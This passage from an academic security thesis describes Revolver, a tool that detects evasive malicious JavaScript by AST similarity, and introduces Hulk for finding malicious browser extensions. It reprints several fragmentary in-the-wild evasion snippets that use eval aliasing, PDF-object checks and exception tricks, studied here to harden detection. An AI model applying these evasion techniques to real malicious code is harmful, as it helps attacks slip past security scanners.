computes a similarity score for each pair of ASTs, where one AST is malicious and the other

one can be either benign or malicious (§4.2.3–§4.2.4). Finally, pairs that are found to have a

similarity score higher than a given threshold are further analyzed to identify and classify

their similarities (§4.2.5).

If Revolver finds similarities between two malicious scripts, then we classify this case

as an instance of evolution (typically, an improvement of the original malicious code). On

the other hand, if Revolver detects similarities between a malicious and a benign script, it

performs an additional classification step. In particular, similarities can be classified by

Revolver into one of four possible categories: evasions, injections, data dependencies, and

general evolutions. We are especially interested in identifying evasions, which indicate

changes that cause a script that had been found to be malicious before to be flagged as benign

now.
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It is important to note that, due to JavaScript’s ability to produce additional JavaScript

code on the fly (which enables extremely complex JavaScript packers and obfuscators),

performing this analysis statically would not be possible. Revolver works dynamically, by

analyzing all JavaScript code that is compiled in the course of a web page’s execution. By

including all these scripts, and the relationships between them (such as what code created

what other code), Revolver is able to calculate JavaScript similarities among malicious web

pages to an extent that is not, to our knowledge, possible with existing state-of-the-art code

comparison tools.

4.2.1 Oracle

Revolver relies on existing drive-by-download detection tools for a single task: the classifica-

tion of scripts in web pages as either malicious or benign. Notice that our approach is not tied

to a specific detection technique or tool; therefore, we use the term “Oracle” to generically

refer to any such detection system. In particular, several popular low- and high-interaction

honeyclients (e.g., [18, 41, 75, 99]) or any antivirus scanner can readily be used for Revolver.

Revolver analyzes the Abstract Syntax Trees (ASTs) of individual scripts rather than

examining web pages as a whole. Therefore, Revolver performs a refinement step, in which

i) individual ASTs are extracted from the web pages obtained from the Oracle, ii) their

detection status is determined (that is, each AST is classified as either benign or malicious),

based on the page classification provided by the Oracle, and iii) for each node in an AST,
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it is recorded whether the corresponding statement was executed. Of course, if an Oracle

natively provides this fine-grained information, this step can be skipped.

More precisely, Revolver executes each web page using a browser emulator based on

HtmlUnit [34]. The emulator parses the page and extracts all of its JavaScript content (e.g.,

the content of script tags and the body of event handlers). In particular, the ASTs of the

JavaScript code are saved for later analysis. In addition, to obtain the AST of dynamically-

generated code, Revolver executes the JavaScript code. At the end of the execution, for each

node in the AST, Revolver keeps an execution bit to record whether the code corresponding

to that node was executed. Whenever it encounters a function that generates new code (e.g.,

a call to the eval() or setTimeout() functions), Revolver analyzes the code that is

generated by these functions. It also saves the parent-child relationship between scripts, i.e.,

which script is responsible for the execution of a dynamically-generated script. For example,

the script containing the eval() call is considered the parent of the script that is evaluated.

Similarly, Revolver keeps track of which script causes network resources to be fetched, for

example, by creating an iframe tag.

Second, for each AST, Revolver determines if it is malicious or benign, based on the

Oracle’s input. More precisely, an AST is considered malicious if it is the parent of a

malicious AST, or if it issued a web request that led to the execution of malicious code. This

makes Revolver flexible enough to work with any Oracle.
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4.2.2 Abstract Syntax Trees

Revolver’s core analysis is based on the examination of ASTs rather than the source code of

a script. The rationale for using ASTs is that they abstract away details that are irrelevant for

our analysis (and, in fact, often undesirable), while retaining enough precision to achieve

good results.

For example, consider a script obtained from the code in Figure 4.1 via simple obfuscation

techniques: renaming of variables and function names, introduction of comments, and

randomization of whitespace. Clearly, we want Revolver to consider these scripts as similar.

Making this decision can be non-trivial when inspecting the source code of the scripts.

In fact, as a simple validation, we ran Moss, a system for determining the similarity of

programs, which is often used as a plagiarism detection tool [96], on the original script

and the one obtained via obfuscation. Moss failed to flag the two scripts as similar, as

shown in the tool’s output here [72]. However, the two scripts are identical when their

AST representations are considered, since, in the trees, variables are represented by generic

VAR nodes, independently of their names, and comments and whitespaces are ignored.

This makes tree-based code similarity approaches more suitable for malicious JavaScript

comparisons (and this is the reason why our analysis leverages ASTs as well). However, as

shown in §4.2.4, we need to treat malicious code in a way that is different from previous
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techniques targeting benign codebases. Below, we describe our approach and necessary

extensions in more detail.

Revolver transforms the AST produced by the JavaScript compiler into a normalized node

sequence, which is the sequence of node types obtained by performing a pre-order visit of

the tree. In total, there are 88 distinct node types, corresponding to different constructs of the

JavaScript language. Examples of the node types include IF, WHILE, and ASSIGN nodes.

Figure 4.4 summarizes the data structures used by Revolver during its processing. We

discuss sequence summaries in the next Section.
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Figure 4.4: Data structures used by Revolver.

4.2.3 Similarity Detection

After extracting an AST and transforming it in its normalized node sequence, Revolver

finds similar normalized node sequences. The result is a list of normalized node sequence
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pairs. In particular, pairs of malicious sequences are compared to identify cases of evolution;

pairs where one of the sequences is benign and the other malicious are analyzed to identify

possible evasion attempts.

The similarity computation is based on computing the directed edit distance between

two node sequences, which, intuitively, corresponds to the number of operations that are

required to transform one benign sequence into the malicious one. Before discussing the

actual similarity measurement, we discuss a number of minimization techniques that we use

to make the computation of the similarity score feasible in datasets comprising millions of

node sequences.

Deduplication. As a first step to reduce the number of similarity computations, we

discard duplicates in our dataset of normalized node sequences. Since we use a canonical

representation for the ASTs, we can easily and efficiently compute hashes of each sequence,

which enables us to quickly identify groups of identical node sequences. In the remaining

processing phases, we only need to consider one member of a group of identical node

sequences (rather than all of its elements). Notice that identical normalized node sequences

may correspond to different scripts, and may also have a different detection classification (we

describe such cases in §4.2.5). Therefore, throughout this processing, we always maintain

the association between node sequences and the scripts they correspond to, and whether they

have been classified as malicious or benign.
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Approximate nearest neighbors. Given a repository of n benign ASTs andmmalicious

ones, Revolver needs to compute n×m comparisons over (potentially long) node sequences.

Even after the deduplication step, this may require a significantly large number of operations.

To address this problem, we introduce the idea of sequence summaries. A sequence

summary is a compact summarization of a regular normalized node sequence, which stores

the number of times each node type appears in the corresponding AST. Since there are

88 distinct node types, each node sequence is mapped into a point in an 88-dimensional

Euclidean space. An advantage of sequence summaries is that they bound the length of the

objects that will be compared (from potentially very large node sequences, corresponding to

large ASTs, down to more manageable vectors of fixed length).

Then, for each sequence summary s, we identify its malicious neighbors, that is, up to k

malicious sequence summaries t, such that the distance between s and t is less than a chosen

threshold τn. Intuitively, the malicious neighbors correspond to the set of ASTs that we

expect to be most similar to a given AST. Determining the malicious neighbors of a sequence

summary is an instance of the k-nearest neighbor search problem, for which various efficient

algorithms have been proposed. In particular, we solve it by using the FLANN library [73].

In the remaining step, we compare sequence summaries only with their malicious

neighbors, thus dramatically reducing the number of comparison to be performed.

Normalized node sequence similarity. Finally, we can compute the similarity between

two normalized node sequences. More precisely, Revolver compares the normalized node
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sequence corresponding to a sequence summary swith each normalized node sequence that

corresponds to a sequence summary of the malicious neighbors of s.

The similarity measurement is based on the pattern matching algorithm by Ratcliff et

al. [89]. More precisely, given two node sequences, a and b, we first find their longest

contiguous common subsequence (LCCS). Then, we recursively search for LCCS between

the pieces of a and b to the left and right of the matching subsequence. The similarity of

a and b is then returned as the number of nodes in common divided by the total number

of nodes in the malicious node sequence. Therefore, identical ASTs will have similarity

1, and the similarity values decrease toward zero as two ASTs contain higher amounts of

different nodes. This technique is robust against injections, where one benign script includes

a malicious one, since all malicious nodes will be matched.

In addition to a numeric similarity score, the algorithm also provides a list of insertions

for the two node sequences, that is, a list of AST nodes that would need to be added to one

sequence to transform it into the other one. This information is very useful for our analysis,

since it identifies the actual code that was added to an original malicious code.

After the similarity score is computed, we discard any pairs that have a similarity below a

predetermined threshold τs.

Expansion. Once pairs of ASTs with high similarity have been identified, we need to

determine the Oracle’s classification of the scripts they originate from. We, therefore, expand
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out any pairs that we deduplicated in the initial Deduplication step so that we associate the

AST similarities to the scripts that they correspond to.

4.2.4 Optimizations

There are several techniques that we utilize to improve the results produced by the similarity

detection steps. In particular, our objective is to restrict the pairs identified as similar to

“interesting” ones, i.e., those that are more likely to correspond to evasion attempts or

significant new functionality. The techniques introduced here build upon tree-based code

similarity approaches and are specific to malicious JavaScript.

Size matters. We observed that JavaScript code contains a lot of very small scripts. In

the extreme case, it includes scripts comprising a single statement. We determined that

the majority of such scripts are generated dynamically through calls to eval(), which,

for example, dynamically invoke a second function. Such tiny scripts are problematic for

our analysis: they have not enough functionality to perform malicious actions and they

end up matching other short scripts, but their similarity is not particularly relevant. As a

consequence, we combine ASTs that contain less than a set number of nodes (τz). We do

this by taking into account how a script was generated: if another script generated code

under our threshold, we inline the generated script back to its parent. If the script was not

dynamically generated, then we treat it as if one script contained all static code under our
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threshold. This way the attacker cannot split the malicious code into multiple parts under

our threshold in order to evade Revolver.

Repeated pattern detection. We also observed that, in certain cases, an AST may contain

a set of nodes repeated a large number of times. This commonly occurs when the script

uses some JavaScript data structure that yields many repeated AST nodes. For example,

malicious scripts that unpack or deobfuscate their exploit payload frequently utilize a

JavaScript Array of elements to store the payload. Their ASTs contain a node for every single

element in the Array, which, in many cases, may have thousands of instances. An unwanted

consequence, then, is that any script with a large Array will be considered similar to the

malicious script (due to the high similarity of the array nodes), regardless of the presence

of a decoding/unpacking routine (which, instead, is critical to determine the similarity of

the scripts from a functional point of view). These obfuscation artifacts affect tree-based

similarity algorithms, which will result in the detection of similar code pairs where the

common parts are of no interest in the context of malicious JavaScript. To avoid this problem,

we identify sequences of nodes that are repeated in a script more than a threshold (τp) and

truncate them.

Similarity fragmentation. Although we have identified blocks of code that are shared

across two scripts, it can be the case that these blocks are not continuous. One script can be

broken down into small fragments that are matched to the other script in different positions.

This is why we take into account the fragmentation of the matching blocks. To prune these
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cases, we recognize a similarity only if the fragmentation of the similarities is below a set

threshold τf .

4.2.5 Classification

The outcome of the previous similarity detection step is a list of pairs of scripts that are

similar. As we show in §4.4.1 we can have hundreds of thousands of similar pairs. Therefore,

Revolver performs a classification step of similar pairs. That is, Revolver interprets the

changes that were made between two scripts and classifies them. There are two cases,

depending on the Oracle’s classification of the scripts in a pair. If the pair consists solely of

malicious scripts, then we classify the similarity as a malicious evolution. The other case is a

pair in which one script is malicious and one script is benign. We call such pairs candidate

pairs (they need to be further tested before we can classify their differences). While the

similarity detection has operated on a syntactic level (essentially, by comparing AST nodes),

Revolver now attempts to determine the semantics of the differences.

In practice, Revolver classifies the scripts and their similarities into one of several

categories, corresponding to different cases where an Oracle may flag differently scripts that

are similar. Table 4.1 summarizes the classification algorithm used by Revolver.

Data-dependency category. Revolver checks if a pair of scripts belongs to the data-

dependency category. A typical example of scripts that fall into this category is packers.

Packers are tools that allow JavaScript authors to deliver their code in a packed format,
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AST Executed nodes Classification

= ∗ Data-dependency

∗ = Data-dependency

B ⊆M 6= JavaScript injection

M ⊆ B 6= Evasion

6= 6= General evolution

Table 4.1: Candidate pairs classification (B is a benign sequence,M is a malicious

sequence, ∗ indicates a wildcard value).

significantly reducing the size of the code. In packed scripts, the original code of the script is

stored as a compacted string or array, and its clear-text version is retrieved at run-time by

executing an unpacking routine. Packers have legitimate uses (mostly, size compression):

in fact, several open-source popular packers exist [26], and they are frequently used to

distribute packed version of legitimate JavaScript libraries, such as jQuery. However,

malware authors also rely on these very same packers to obfuscate their code and make it

harder to be fingerprinted.

Notice that the ASTs of packed scripts (generated by the same packer) are identical,

independently of their (unpacked) payload: in fact, they consist of the nodes of the unpacking

routine (which is fixed) and of the nodes holding the packed data (typically, the assignment
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of a string literal to a variable). However, the actual packed contents, which eventually

determine whether the script is malicious or benign, are not retained at the AST level of the

packer, but the packed content will eventually determine the nature of the overall script as

benign or malicious.

Revolver categorizes as data-dependent pairs of scripts that are identical and have different

detection classification.

As a slight variation to this scenario, Revolver also classifies as data-dependent pairs of

scripts for which the ASTs are not identical, but the set of nodes that were actually executed

are indeed the same. For example, this corresponds to cases where a function is added to the

packer but is never actually executed during the unpacking.

Control-flow differences. The remaining categories are based on the analysis of AST

nodes that are different in the two scripts, and, specifically, of nodes representing control-flow

statement. We focus on such nodes because they give an attacker a natural way to implement

a check designed to evade detection. In fact, such checks generally test a condition and

modify the control flow depending on the result of the test.

More precisely, we consider the following control-flow related nodes: TRY, CATCH,

CALL, WHILE, FOR, IF, ELSE, HOOK, BREAK, THROW, SWITCH, CASE, CONTINUE,

RETURN, LT (<), LE (<=), GT (>), GE (>=), EQ (==) , NE (! =), SHEQ (===), SNE

(! ==), AND, and OR. Depending on where these control-flow nodes were added, whether

in the benign or in the malicious script, a candidate pair can be classified as a JavaScript
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injection or an evasion. Notice that we leverage here the execution bits to detect control flow

changes that were actually executed and affected the execution of code that was found as

malicious before.

JavaScript injection category. In some cases, malware authors insert malicious JavaScript

code into existing benign scripts on a compromised host. This is done because, when

investigating a compromise, webmasters may neglect to inspect files that are familiar to

them, and thus such injections can go undetected. In particular, it is common for malware

authors to add their malicious scripts to the code of popular JavaScript libraries hosted on a

compromised site, such as jQuery and SWFObject.

In these cases, Revolver identifies similarities between a benign script (the original,

legitimate jQuery code) and a malicious script (the library with the added malicious code). In

addition, Revolver detects that the difference between the two scripts is due to the presence

of control-flow nodes in the malicious script (the additional code added to the library), which

are missing in the benign script. Revolver classifies such similarities as JavaScript injections,

since the classification of the analyzed script changes from benign to malicious due to the

introduction of additional code in the malicious version of the script.

Evasions category. Pairs of scripts that only differ because of the presence of additional

control-flow nodes in the benign script are categorized as evasions. In fact, these correspond

to cases where a script, which was originally flagged as malicious by an Oracle, is modified
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to include some additional functionality that modifies its control flow (i.e., an evasive check)

and, as a consequence, appears to be benign to the Oracle.

General evolution cases. Finally, if none of the previous categories applies to the current

pair of scripts, it means that their differences are caused by the insertion of control-flow

nodes in both the benign and malicious scripts. Unlike similarities in the evasion category,

these similarities may signify generic evolution between the two scripts. Revolver flags

these cases for manual review, at a lower priority than evasive cases.

4.3 Implementation

In this section, we discuss specific implementation choices for our approach.

We used the Wepawet honeyclient [18] as the Oracle of Revolver. In particular, the input

to Revolver was the web pages processed by the Wepawet tool at real-time together with

their detection classification. We used Revolver to extract ASTs from the pages analyzed by

Wepawet, and to perform the similarity processing described in the previous sections.

As our processing infrastructure, we used a cluster of four worker machines to process

submissions in parallel with the Oracle. Notice that all the steps in Revolver’s processing

can be easily parallelized. In terms of performance, we managed to process up to 591,543

scripts on a single day, which was the maximum number of scripts that we got on a single

day from the Oracle during our experiments.
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We will now discuss the parameters that can be tuned in our algorithms (discussed in

§4.2), explaining the concrete values we have chosen for our experiments.

Minimum tree size (τz). We chose 25 nodes as the minimum size of the AST trees that

we will process before combining them to their parent. Smaller ASTs can result from calls

to eval with tiny arguments, and from calls to short event handlers, such as onLoad and

onMouseOver. We expect that such small ASTs correspond to short scripts that do not

implement any interesting functionality alone, but complement the functionality of their

parent script.

Minimum pattern size (τp). Another threshold that we set is the minimum pattern size.

Any node sequence that is repeated more than this threshold is truncated to the threshold

value. The primary application of pattern detection is to handle similar packers that decode

payloads of different size. We chose 16 for this value, as current packers either work on

relatively long arrays (longer than 16, and thus detected) or on single strings (one node,

and thus irrelevant to this issue). This amount also excludes the possibility of compressing

interesting code sequences, since we rarely see such long patterns outside of packed payloads.

Reducing this value would have the effect of making the tree similarity algorithm much

more lax.

Nearest neighbor threshold (τn). In the nearest neighbors computation, we discard node

sequences that are farther than a given distance d from the node sequence currently being

inspected. We empirically determined a value for this parameter, by evaluating various
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Figure 4.5: Number of detected similarities as a function of the distance threshold.

Figure 4.6: The resulting amount of similarities for different similarity thresholds.

values for d and inspecting the resulting similarities. From Figure 4.5, it is apparent that

the amount of similarities that are detected levels off fairly sharply past d = 1, 000. We

determined that 10, 000 is a safe threshold that includes a majority of trees while allowing

the similarity calculation to be computationally feasible.
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Normalized node sequence similarity threshold (τs). Care has to be taken when choos-

ing the threshold used to identify similar normalized node sequences. Intuitively, if this

value is too low, we risk introducing significant noise into our analysis, which will make

Revolver consider as similar scripts that in reality are not related to each other. On the

contrary, if the value is too high, it will discard interesting similarities. Experimentally (see

Figure 4.6), we determined that this occurs for similarity values in the 70%–80% interval.

Therefore, we chose 75% as our similarity threshold (in other words, only node sequences

that are 75% or more similar are further considered by Revolver).

4.4 Evaluation

We evaluated the ability of Revolver to aid in detecting evasive changes to malicious scripts

in real-world scenarios. While Revolver can be leveraged to solve other problems, we feel

that automatically identifying evasions is the most important contribution to improving the

detection of web-based malware.

4.4.1 Evasions in the wild

Revolver identifies possible evasion attempts by identifying similarities between malicious

and benign code. Therefore, Revolver’s input is the output of any Oracle that classifies

JavaScript code as either malicious or benign. To evaluate Revolver, we continuously
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Category
Similar

Scripts

# Groups

by malicious AST

JavaScript Injections 6,996 701

Data-dependencies 101,039 475

Evasions 4,147 155

General evolutions 2,490 273

Total 114,672 1,604

Table 4.2: Benign scripts from Wepawet that have similarities with malicious scripts and

their classification from Revolver.

submitted to Revolver all web pages that Wepawet examined. Since September 2012,

we collected 6, 468, 623 web pages out of which 265, 692 were malicious. We analyzed

20, 732, 766 total benign scripts and 186, 032 total malicious scripts. Out of these scripts,

we obtained 705, 472 unique benign ASTs and 5, 701 unique malicious ASTs.

Revolver applied the AST similarity analysis described in Section 4.2, and extracted the

pairs of similar ASTs. Table 4.2 summarizes the results of classifying these similarities

in the categories considered by Revolver. In particular, Revolver identified 6, 996 scripts

where malicious JavaScript was injected, 101, 039 scripts with data-dependencies, 4, 147

evasive scripts, and 2, 490 scripts as general evolutions. We observe that many of these
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scripts can be easily grouped by their similarities with the same malicious script. Therefore,

for ease of analysis, we group the pairs by their malicious AST component, and identify

701 JavaScript injections, 475 data-dependencies, 155 evasions, and 273 general evolutions.

Our results indicate a high number of malicious scripts that share similarities with benign

ones. This is due to the fact that injections and data-dependent malicious scripts naturally

share similarities with benign scripts and we are observing many of these attacks in the wild.

To verify the results produced by Revolver, we manually analyzed all groups categorized

as “evasions”. For the rest of the categories we grouped the malicious ASTs into families

based on their similarities with each other and examined a few similar pairs from each family.

We found the results for the JavaScript injection and data-dependencies categories to be

correct. The reason why Revolver classified a large number of scripts as data-dependencies

is due to the extensive use of a few popular packers, such as the Edwards’ packer [26]. For

example, the jQuery library was previously officially distributed in a packed state to reduce

its size.

Of the 155 evasions groups, we found that only five were not intended evasion attempts.

We cannot describe all evasions in detail here, but we provide a brief summary for the most

interesting ones in the next section.

The pairs in the “general evolutions” category consisted of cases where Revolver identified

control flow changes in both the benign and malicious scripts. We manually looked into

them and did not find any behavior that could be classified as evasive.
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4.4.2 Evasions case studies

The evasions presented here exploit differences in the implementation of Wepawet’s

JavaScript interpreter and the one used by regular browsers. Notice that these evasions can

affect Oracles other than Wepawet; in particular, low-interaction honeyclients, such as the

popular jsunpack [41] and PhoneyC [75].

We describe in more detail a subset of the evasions that we found from our experiment

on real-world data. In the 22 evasion groups described here, we identified seven distinct

evasion techniques, and one programming mistake in a malicious PDF.

We found three cases which leveraged subtle details in the handling of regular expressions

and Unicode to cause a failure in a deobfuscation routine when executing in the Oracle (on

the contrary, regular browsers would not be affected). In another case, the attackers replaced

the JavaScript code used to launch an ActiveX exploit code with equivalent VBScript code.

This is done because Internet Explorer can interpret VBScript, while most emulators do not

support it. In a different case, the evasive code creates a div tag and checks for specific

CSS properties, which are set correctly in Internet Explorer but not when executing in our

Oracle. We will examine in more detail the next four evasion techniques.

Variable scope inside eval. We found that a successful evasion attack can be launched

with minor changes to a malicious script. In one such case, shown in Figure 4.7, the authors

of the malicious script changed a replace call with a call to eval, which, in turn, executed
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1 // Malicious

2 function foo() {

3 ...

4 W6Kh6V5E4 = W6Kh6V5E4.replace(/\W/g,Bm2v5BSJE);

5 ...

6 }

7 // Evasion

8 function foo(){

9 ...

10 var enryA = mxNEN+F7B07;

11 F7B07 = eval;

12 {}

13 enryA = F7B07('enryA.rep' + 'lace(/\\W/g,CxFHg)');

14 ...

15 }

Figure 4.7: Evasion based on differences in the scope handling inside eval in different

JavaScript engines.

the same replace. While this change did not affect the functionality of the script in Internet

Explorer, it did change it for our Oracle. In fact, in Wepawet’s JavaScript engine, the code

inside the eval runs in a different scope, and thus, the locally-defined variable on which

replace is called is not accessible. While the code successfully exploits Internet Explorer, it

fails in our Oracle and is marked as benign.
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Figure 4.8: Timeline of PDF evasions automatically detected by Revolver.

Adobe-specific JavaScript execution. Figure 4.9 shows an evasion that leverages a

specific characteristic of the JavaScript engine implementation included in Adobe Reader.

In particular, in Adobe’s engine (unlike other engines), the eval function is accessible as a

property of native objects, e.g., a string (line 8) [3]. Wepawet’s analyzer is not aware of this

difference and fails on scripts that make use of this feature (marking them as benign). The

functionally-identical script that does not use this trick, but directly invokes the eval()

function, is correctly marked as malicious. We also found several instances of evasions

related to PDF specific objects, like app and target, where missing functionality was used to

render the malicious script harmless. We show a snippet of this evasion type found in the

wild in Figure 4.10.

In Figure 4.8 we see the evasions related to the app object that were automatically detected

by Revolver as found in the wild. Every time Revolver detected an evasion there is a spike in

the figure, and we made the appropriate patches to Wepawet as soon as possible. What is of

particular interest is the fact that attackers react to Wepawet’s patching by introducing a new
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1 // Malicious

2 OlhG='evil_code'

3 wTGB4=eval

4 wTGB4(OlhG)

5

6 // Evasion

7 OlhG='evil_code'

8 wTGB4="this"["eval"]

9 wTGB4(OlhG)

Figure 4.9: Evasion based on the ability to access the eval function as a property of native

objects in Adobe’s JavaScript engine.

1 if((app.setInterval+/**/"")["indexOf"](aa)!=-1){

2 a=/**/target.creationDate.split('|')[0];}

Figure 4.10: Evasion based on PDF specific objects app and target.

evasion within a few days, making a tool like Revolver necessary to automatically keep track

of this behavior and keep false negative detections as low as possible.

Evasion through exceptions. Another interesting evasion that Revolver found also

leverages subtle differences in the JavaScript implementation used in Wepawet and in real

browsers. In this case, the malicious script consists of a decryption function and a call to

that function. The function first initializes a variable with a XOR key, which will be used
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to decrypt a string value (encoding a malicious payload). The decoded payload is then

evaluated via eval.

The evasion that we found follows the same pattern (see Figure 4.11), but with a few

critical changes. In the modified code, the variable containing the XOR key is only initialized

the first time that the decryption function runs; in sequential runs, the value of the key is

modified in a way that depends on its prior value (Lines 16–17). After the key computation, a

global variable is accessed. This variable is not defined the first time the decryption function

is called, so that the function exits with an exception (Line 19). On Internet Explorer, this

exception is caught, the variable is defined, and the decryption function is called again. The

function then runs through the key calculation and then decrypts and executes the encrypted

code by calling eval.

On our Oracle, a subtle bug (again, in the handling of eval calls) in the JavaScript engine

caused the function to throw an exception the first two times that it was called. When the

function is called the third time, it finally succeeds, modifies the XOR key, and attempts to

decrypt the string. However, since the key calculation is run three times instead of two, the

key is incorrect, and the decrypted string results in garbage data. We found three variations

of this technique in our experiments.

A very interesting exception-based evasion that we found with Revolver was based on the

immutability of window.document.body. The attacker checks if she can replace the body

object with a string, something that should not be possible and should result in an exception,
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but it does not raise an exception in our Oracle because the body object is mutable. The

interesting part is that we found three completely different malicious scripts evolving to

incorporate this evasion, one of them being part of the popular exploit kit Blackhole 2.0.

This is the first indication that evasion techniques are propagating to different attacking

components and indicates that attackers care to keep their attacks as stealthy as possible.

Unicode deobfuscation evasion. This evasion leveraged the fact that Unicode strings

in string initializations and regular expressions are treated differently by different JavaScript

engines. For example, Revolver found two scripts with a similarity of 82.6%. The script

flagged as benign contained an additional piece of code that modified the way a function

reference to evalwas computed. More precisely, the benign script computed the reference

by performing a regular expression replacement. While this operation executes correctly in

Internet Explorer, it causes an error in the JavaScript engine used by Wepawet due to a bug

in the implementation of regular expressions.

Incorrect PDF version check. Another similarity that Revolver identified involved two

scripts contained inside two PDF files, one flagged as benign by Wepawet and the other as

malicious. These scripts had a similarity of 99.7%. We determined that the PDF contained

an exploit targeting Adobe Reader with versions between 7.1 and 9. The difference found

by Revolver was caused by an incorrect version check in the exploit code. The benign

code mistakenly checked for version greater or equal to 9 instead of less or equal to 9,

which combined with the previous checks for the version results in an impossible browser
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configuration and as a consequence the exploit was never fired. This case, instead of being

an actual evasion, is the result of a mistake performed by the attacker. However, the authors

quickly fixed their code and re-submitted it to Wepawet just 13 minutes after the initial,

flawed submission.

False positives. The evasion groups contained five false positives. In this context, a false

positive means that the similarity identified by Revolver is not responsible for the Oracle’s

misdetection. More precisely, of these false positives, four corresponded to cases where the

script execution terminated due to runtime JavaScript errors before the actual exploit was

launched. While such behavior could be evasive in nature, we determined that the errors

were not caused by any changes in the code, but by other dependencies. These can be due

to missing external resources required by the exploit or because of a runtime error. In the

remaining case, the control-flow change identified by Revolver was not responsible for the

misdetection of the script.

Revolver’s impact on honeyclients. By continuously running Revolver in parallel with

a honeyclient, we can improve the honeyclient’s accuracy by observing the evolution of

malicious JavaScript. The results from such an integration with Wepawet indicate a shift in

the attackers’ efforts from hardening their obfuscation techniques to finding discrepancies

between analysis systems and targeted browsers. Popular exploit kits like Blackhole are

adopting evasions to avoid detection, which shows that such evasions have emerged as a new

problem in the detection of malicious web pages. Revolver’s ability to pinpoint, with high
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accuracy, these new techniques out of millions of analyzed scripts not only gives a unique

view into the attackers’ latest steps, but indicates the necessity of such system as part of any

honeyclient that analyzes web malware.

4.5 Discussion

As with any detection method, malware authors could find ways to attempt to evade

Revolver. One possibility consists in splitting the malicious code into small segments,

each of which would be interpreted separately through eval. Revolver is resilient against

code fragmentation like this because it combines such scripts back to the parent script that

generated them, reconstructing this way the original non-fragmented script.

It is also possible for malware authors to purposefully increase the Euclidean distance

between their scripts so that otherwise similar scripts are no longer considered neighbors by

the nearest neighbor algorithm. For example, malware authors could swap statements in

their code, or inject junk code that has no effect other than decreasing the similarity score.

Attackers could also create fully metamorphic scripts, similar to what some binary malware

does [56]. We can counteract these attacks by improving the algorithms we use to compute

the similarity of scripts. For example, we could use a preprocessing step to normalize a

script’s code (e.g., removing dead code). A completely different approach would be to

leverage Revolver to correlate differences in the code of the same web pages when visited by
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multiple oracles: if Revolver detects significant differences in the code returned during these

visits, then we can identify metamorphic web pages. In addition, metamorphic code raises

the bar, since an attack needs to be programmatically different every time, and the code must

be automatically generated without clearly-detectable patterns. Therefore, this would force

attackers to give up their current obfuscation techniques and ability to reuse code.

An attacker could include an evasion and dynamically generate the attack code only if the

evasion is successful. The attacker has two options: He can include the evasion code as the

first step of the attack, or after initial obfuscation and environment setup. Evasions are hard

to find and require significant manual effort by the attackers. Therefore, attackers will not

reveal their evasion techniques since they are almost as valuable as the exploits they deliver.

Moreover, introducing unobfuscated code compromises the stealthiness of the attack and

can yield into detection through signature matching. The second option works in Revolver’s

favor, since it allows our system to detect similarities in obfuscation and in environmental

setup code.

Finally, an operational drawback of Revolver is the fact that manual inspection of the

similarities that it identifies is currently needed to confirm the results it produces. The

number of similarities that were found during our experiments made it possible to perform

such manual analysis. In the future, we plan to build tools to support the inspection of

similarities and to automatically confirm similarities based on previous analyses.
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4.6 Conclusions

In this chapter, we have introduced and demonstrated Revolver, a novel approach and tool

for detecting malicious JavaScript code similarities on a large scale. Revolver’s approach is

based on identifying scripts that are similar and taking into account an Oracle’s classification

of every script. By doing this, Revolver can pinpoint scripts that have high similarity but are

classified differently (detecting likely evasion attempts) and improve the accuracy of the

Oracle.

We performed a large-scale evaluation of Revolver by running it in parallel with the

popular Wepawet drive-by-detection tool. We identified several cases of evasions that are

used in the wild to evade this tool (and, likely, other tools based on similar techniques) and

fixed them, improving this way the accuracy of the honeyclient.
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1 // Malicious

2 function deobfuscate(){

3 ... // Define var xorkey and compute its value

4 for(...) { ... // XOR decryption with xorkey }

5 eval(deobfuscated_string);

6 }

7 try {

8 eval('deobfuscate();')

9 }

10 catch (e){

11 alert('err');

12 }

13

14 // Evasion

15 function deobfuscate(){

16 try { ... // is variable xorkey defined? }

17 catch(e){ xorkey=0; }

18 ... // Compute value of xorkey

19 VhplKO8 += 0; // throws exception the first time

20 for(...) { ... // XOR decryption with xorkey}

21 eval(deobfuscated_string);

22 }

23 try { eval('deobfuscate();') } // 1st call

24 catch (e){

25 // Variable VhplKO8 is not defined

26 try {

27 VhplKO8 = 0; // define variable

28 eval('deobfuscate();'); // 2nd call

29 }

30 catch (e){

31 alert('ere');

32 }

33 }

Figure 4.11: An evasion taking advantage of a subtle bug in Wepawet’s JavaScript engine in

order to protect the XOR key.
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Chapter 5

Eliciting Malicious Behavior in
Browser Extensions

In this chapter we focus on a different threat against the browser: malicious extensions.

We present Hulk, a dynamic analysis system that detects malicious behavior in browser

extensions by monitoring their execution and corresponding network activity. Hulk elicits

malicious behavior in extensions in two ways: HoneyPages, which are dynamic pages that

adapt to an extension’s expectations in web page structure and content, and fuzzing so that

we can exercise the numerous event handlers that modern extensions heavily rely upon.

All major web browsers today support broad extension ecosystems that allow third parties

to install a wide range of modified behavior or additional functionality. Internet Explorer

has binary add-ons (Browser Helper Objects), while Firefox, Chrome, Opera, and Safari

support JavaScript-based extensions. Some browsers have online web stores to distribute

extensions to users. For example, the most popular extension in Chrome’s Web Store,

AdBlock, has over 10 million users. Other popular extensions serve a variety of functions,
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such as preserving privacy, changing the aesthetics of the browser’s UI, or integrating with

web services such as Google Translate.

The amount of critical and private data that web browsers mediate continues to increase,

and naturally this data has become a target for criminals. In addition, the web’s advertising

ecosystem offers opportunities to profit by manipulating a user’s everyday browsing behavior.

As a result, malicious browser extensions have become a new threat, as criminals realize

the potential to monetize a victim’s web browsing session and readily access web-related

content and private data.

Our work examines extensions for Google Chrome that are designed with malicious

intent—a threat distinct from that posed by attackers exploiting bugs in benign extensions,

which has seen prior study [9, 15]. Extensions for Google Chrome are primarily distributed

through the Chrome Web Store.1 Like app stores for other platforms, such as Android or

iOS, inherent risks arise when downloading and executing programs from untrusted sources.

Reports have documented not only malicious extensions [98], but miscreants purchasing

extensions (and thereby access to their userbases via update mechanisms) to add malicious

functionality [4, 90]. In addition to the web store, extensions can also be directly installed by

users and other programs. Installed by a process called sideloading, these extensions pose a

recognized risk that browser vendors have attempted to prevent through modifications to the

browser [62]. Sideloaded extensions are especially problematic since they can be installed

1https://chrome.google.com/webstore/category/extensions
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without user knowledge, and are not subject to review by a web store. Despite efforts to

stifle sideloaded extensions, they remain a significant problem [27].

In this chapter we present Hulk, a tool for detecting malicious behavior in Google Chrome

extensions. Hulk relies on dynamic execution of extensions and uses several techniques

to trigger malicious functionality during execution. One technique we developed to elicit

malicious behavior is the use of HoneyPages: specially-crafted web pages designed to

satisfy the structural conditions that trigger a given extension. We interpose on all queries

and modifications to the DOM tree of the HoneyPage to automatically create elements and

mimic DOM tree structures for extensions on the fly. Using this technique, we can readily

